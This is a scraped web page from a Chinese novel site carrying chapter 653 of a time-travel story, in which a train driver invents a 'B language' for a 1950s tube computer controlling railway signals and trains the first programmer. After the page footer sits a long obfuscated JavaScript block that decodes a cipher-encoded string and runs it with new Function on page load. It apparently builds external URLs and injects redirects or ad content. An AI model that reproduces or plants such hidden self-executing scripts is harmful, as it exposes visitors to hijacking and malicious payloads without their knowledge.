首页
[切换至繁体版]
返回

第653章 啵语言, 国内第一个程序员的诞生,贾东旭受伤

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    运算速度:每秒运算5万次。
    内存:内存72K全字长磁芯体,一台磁芯存储器阵列。
    硬件规模:全机共用12200个电子管,80000个晶体二极管。
    手握全世界最先进的电子管计算机,李爱国颇有点走在世界科技前沿的感觉。
    这感觉非常之好。
    只是
    要想利用103电子管计算机实现铁道信号的自动化,还差一个关键因素。
    那就是.程序。
    这年月程序尚且不能自动执行,全得靠操纵员陈静用那她双纤细小手在坚硬的按键上,以300APM的手速进行操作。
    一台电子管计算机尚且能凑合。
    但是咱李爱国干的是全铁道的大事业。
    将来,全国大部分铁路都将实现信号自动化,这一过程需要成千上万台电子管计算机。
    而在那个时候,或许会需要成千上万个年轻的姑娘充当人肉程序输入员。
    然而,铁路每天二十四小时不间断运行。
    这些小姑娘们只能长时间坐在昏暗的机房内持续输入程序。
    在这样的环境下,她们的青春只能在黑乎乎的小屋里悄然雕零……这种情况好像显得得很不人道。
    咱李爱国是个好人,自然不能迫害这些花季少女。
    那么该怎么办呢
    操纵员陈静输入了程序,趁着程序执行的空档,看到李爱国在盯着他,小脸顿时羞红起来。
    这个火车司机确实结婚了,但是也不是不能发生点啥.比如共同研究计算机之类的。
    陈静咬了咬嘴唇问道:“李司机,我刚才输入的代码有错吗?”
    想想这两天的经历,陈静觉得有些不可思议。
    在103电子管计算机研制成功后,这么宝贵的科研仪器并没有放在计算所里,而是被运到了铁道实验室内,成为了控制铁道信号输出的生产力工具。
    电子管计算机需要操纵员。
    计算所里有五位专业操纵员,当那些操纵员们得知要离开计算所,去铁道部门工作时,都打了退堂鼓。
    毕竟铁道部门在这年月尚且属于大老粗部门,留给人的印象是胡子拉碴、身上黑乎乎煤灰,说话喜欢骂娘的大老粗男人。
    计算所可是国内最先进的科研单位,研究员们身穿整洁的灰色中山装,讲起话来也彬彬有礼,还都是高学历。
    只有陈静答应了下来。
    她这个操纵员被李爱国作为工具人也被打包带到了铁道研究所里。
    在这里陈静才发现,铁道上也有研究所,并且还特别的有钱,食堂里的饭菜里能吃到荤腥呢!
    “那倒不是.”李爱国看着陈静沉吟片刻,突然问道:“你们计算所里没有想过编写可以自动运行的程序吗?”
    “自动运行.程序?”陈静有些摸不着头脑了。
    程序不都是手动输入的吗?
    李爱国看到陈静的样子,这才意识到了自己的疏忽。
    这年月没有高级计算机语言,所有的程序都是直接在计算机底层运行,压根无法做到时实循环。
    “没枪没炮,不能光靠敌人造!撬鬼子铁轨做炮弹,刮硝石当炸药!”
    李爱国哼起了铁道上的流行小曲,背着手出了机房。
    陈静看着李爱国的背影,总觉得这个火车司机有点怪怪的。
    她转过身开始在操纵键上悬空模拟输入,只有这样才能保持输入速度。
    每一种高级编程语言的出现,都要耗费巨大的人力和物力,并且还要顺应时代和市场的发展。
    要想独立创造出一种高级编程语言那都是编程大神级人物能做得到的事儿。
    咱李爱国确实不是大神。
    但是他掐指一算,还有几年功夫,老美那边就要出现一种名为BCPL的高级编程语言。
    BCPL就是后世大名鼎鼎的B语言,也是C语言的基础。
    李爱国倒不是不想把C语言拿出来,关键是.那玩意太复杂了,运行起来能把电子管计算机干爆了。
    而B语言就不同了,它结构简单,却可以直接操纵机器字符,并且还能编写游戏。
    咳咳,游戏只是附带的,咱李爱国是为了铁道信号自动化。
    鲁大师说道:“如果我能看得更远一点的话,是因为我站在巨人的肩膀上。”
    李爱国回到办公室后,站在巨人的头顶上,很快就把B语言搞了出来。
    当然了,跟后世的B语言相比,李爱国觉得还需要更改一部分内容,让B语言每个对象都有一个类型以及一个值。
    类型决定了可用于值的操作的含义,以及对象占用的存储空间大小。
    如此一来,B语言就从只能操纵机器的语言,变成了半个C语言,拥有了编译操作系统的能力。
    这种工作一个人干太繁琐了。
    李爱国找来了宗先锋和陈资料。
    “今天咱们要研究一个小玩意。”
    李爱国把B语言的构想和设计讲了出来。
    虽然说计算机语言特别晦涩,但是它的基础是数学,陈资料这位大佬很快就明白了过来。
    “利用0,1的交互进行计算,这确实是个新的计算思路,也许我应该想办法.”
    李爱国赶紧打断陈资料:“陈哥,现在国内的计算机特别紧缺,你就别惦记着计算机科学计算了。你的任务是帮我把这种语言搞出来。”
    开玩笑,在后世确实有一个数学分支利用计算机计算。
    但是,陈资料可是要成为破解1+1的男人,不能把精力浪费在这个上面。
    宗先锋是电气专业的优秀学生,脑瓜子灵活。
    李爱国负责总架构、宗先锋负责代码编译、陈资料负责数学逻辑。
    几人只花费了不到两天时间,就完成了B语言的设计工作。
    有了计算机语言,接下来就要培训能使用计算机语言的人了。
    机房内。
    陈静刚拼完手速,正揉着酸疼的手指头吸溜着嘴。
    自从当上操纵员后,她的手指头关节就隐隐作疼了,晚上有时间疼得睡不着觉。
    但是为了计算机的发展,陈静和那些操纵员们把这个情况隐瞒了下来。
    “李组长,程序已经输入了,运行正常!”看到李爱国进来,陈静赶紧站起了身。
    “不着急,我今天来找你,是想询问你,你想不想当程序员?”李爱国笑道。
    “程序员?”陈静一脸茫然。
    “我设计了一种高级计算机语言,编译出来的程序可以自动运行。程序员就是负责编译程序的人。”
    程序自动运行,也就是说不需要操纵员了。
    负责编译程序,也就是说她将成为程序员。
    短短一句话,让陈静经历了失业到再就业的冰火两重天,她慌忙不迭的点头:“愿意,我愿意!”
    操纵员需要记忆力好,逻辑观念好,陈静还是大学毕业生,学习能力也强,只是花费了两天功夫就掌握了B语言。
    李爱国带着陈静和陈资料合作搞出一条名为脉冲信号的程序。
    程序上机运行后,能够稳定的运行控制铁道自动信号,并且还具备自检功能。
    这个消息传到计算所里,所长和夏中肃教授瞬间震惊了。
    “啥,能自动运行的程序,并且这种程序还能编译出来?”
    “出大事了,咱们计算机领域又出大事了!”
    “只是这种大事为什么发生在铁道部门,不应该啊.”
    “甭管是哪个部门,都是为了建设国家嘛,走,咱们赶紧去瞧瞧。”
    意识到高级编程语言的重要性,所长和夏中肃教授带着一帮子研究员们准备赶往铁道研究所。
    但是足有几十个人,计算所里只有三辆小轿车,压根坐不下。
    所长为了不打击同志们的热情,临时调派了一辆嘎斯卡车。
    一辆小轿车,一辆嘎斯卡车组成的车队浩浩荡荡的出了计算所。
    正准备离开计算所的列别杰夫教授看到这一幕,眼睛微微眯起。
    他让司机摇下车窗,冲着门卫递了根烟:“小同志,你们计算所这些同志是去了哪里啊?”
    门卫笑呵呵的接过烟,脸色一正:“应该是去抓老鼠了。”
    前两天,他把被列别杰夫教授询问的情况汇报给了保卫科,科长狠狠的批评了他一顿。
    并且提醒他注意保密,在跟老毛子专家打交道的时候小心点。
    抓老鼠?这么多人开着大卡车抓老鼠?信你个大头鬼啊。
    列别杰夫教授看着门卫陷入了沉默中。
    列别杰夫教授觉得此次到种花家做客,种花家的人好像变狡猾了,连一个小小的门卫也敢欺负。
    不过列别杰夫教授并没有太在意门卫。
    他觉得还是应该想办法搞清楚计算所到底在搞些什么。
    看着小兄弟马上要超过自己,列别杰夫教授这个老大哥心中很不舒服。
    另外一边。
    车队浩浩荡荡的开到了铁道研究所门前。
    门口的保卫干事们看到计算所里来了足足几十号人,当时就吓坏了,连忙摇动电话报告给了刘国璋。
    “报告主任,有人来抢咱们的老鼠尾巴了!”
    夏教授在旁边听得真切,慌忙解释:“我们是计算所的。您搞错了。”
    保卫干事看了看夏教授,对着话筒喊道:“报告主任,计算所的人来抢咱们的老鼠尾巴了!”
    夏教授:“.”
    刘国璋接到门卫电话的时候,一脑门的问号。
    “啥?这帮搞计算机的难道真惦记上俺们研究所的老鼠尾巴?”
    刘国璋并不是杞人忧天。
    随着除四走向高潮,老鼠越来越难抓,单位之间的比拼也进入了高潮。
    有一些单位的领导动起了歪脑筋。
    自己捉不到,可以抢别人的啊。
    再说了,抢老鼠尾巴,能叫抢吗?
    那就做积极除四!
    他们带上保卫科和武装部的同志,全副武装起来,趁隔壁单位不注意,冲进对方库房内,把老鼠尾巴抢走了。
    这事儿闹得京城人心惶惶的。
    有些单位门口的保卫干事们为了保卫老鼠尾巴,甚至架起了机关枪。
    铁道研究所因为有了李爱国的粘老鼠板子,是京城有名的老鼠尾巴大户,别人早就眼红了。
    此时更应该小心谨慎。
    “走,让保卫干事带上步枪,跟我去瞧瞧!”
    刘国璋带着十几个保卫干事来到大门前,仔细一问,差点笑出声来。
    “所长同志,您带这么多人来我们研究所,按照规矩,应该提前在电话里打招呼。”
    “抱歉,刘主任,我一时心急,给疏忽了。”
    看到计算所带了那么多人,所长还急哄哄的样子,刘国璋心中一动,问道:“李爱国搞出来的那个什么啵,就那么重要吗?”
    “不是什么啵,是ㄅㄛ语言!”
    刘国璋虽算是半个技术人员,但是在所长看来还是个大老粗。
    他边走,边跟刘国璋上课:“计算机语言,是人跟计算机交流的工具”
    看到刘国璋一脸茫然,所长觉得国内的计算机教育任重而道远。
    他叹口气道:“这么说吧,有了这个ㄅㄛ语言,咱们国家在计算机领域就能走在世界的前沿。”
    “早这么说,不就行了吗.”刘国璋的眼睛瞪大瞪圆了。
    他不懂计算机,但是懂得走在世界前沿是什么意思。
    那意味着光荣啊!
    虽不明白李爱国是怎么搞出来的,但是李爱国是铁道上的人。
    李爱国光荣了,那就等于铁道光荣了,等于他刘国璋光荣了。
    “咳咳,所长同志,看来我们铁道方面的技术比你们计算机技术还要复杂啊。”
    “怎么说?”
    “你想啊,我们的火车司机都研制出了什么啵”
    所长:“.”
    他觉得好像被铁道部门的大老粗鄙视了。
    不过所长此时并不在乎这些。
    他跟着刘国璋来到实验室之后,立刻将正在进行铁道信号稳定测试的李爱国给拉了出来。
    “爱国同志,你真的编译出了一整套高级程序语言?”
    看着这位老教授着急的样子,李爱国也没多嗦,便将ㄅㄛ语言的详细情况托盘而出。
    “什么!你们已经编译好了程序,并且稳定运行五天了?”
    “你们还培养了一位女程序员?”
    所长并没有偏听偏信。
    他带着夏教授亲自测试了李爱国用ㄅㄛ语言编译出来的程序,又确定了程序具备自动运行之后,才算是彻底相信了。
    “利用ㄅㄛ语言来编译出可执行的程序李爱国真的只是一个火车司机吗?”
    所长这会脑瓜子嗡嗡作响。
    他感觉到铁道研究所比计算所
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();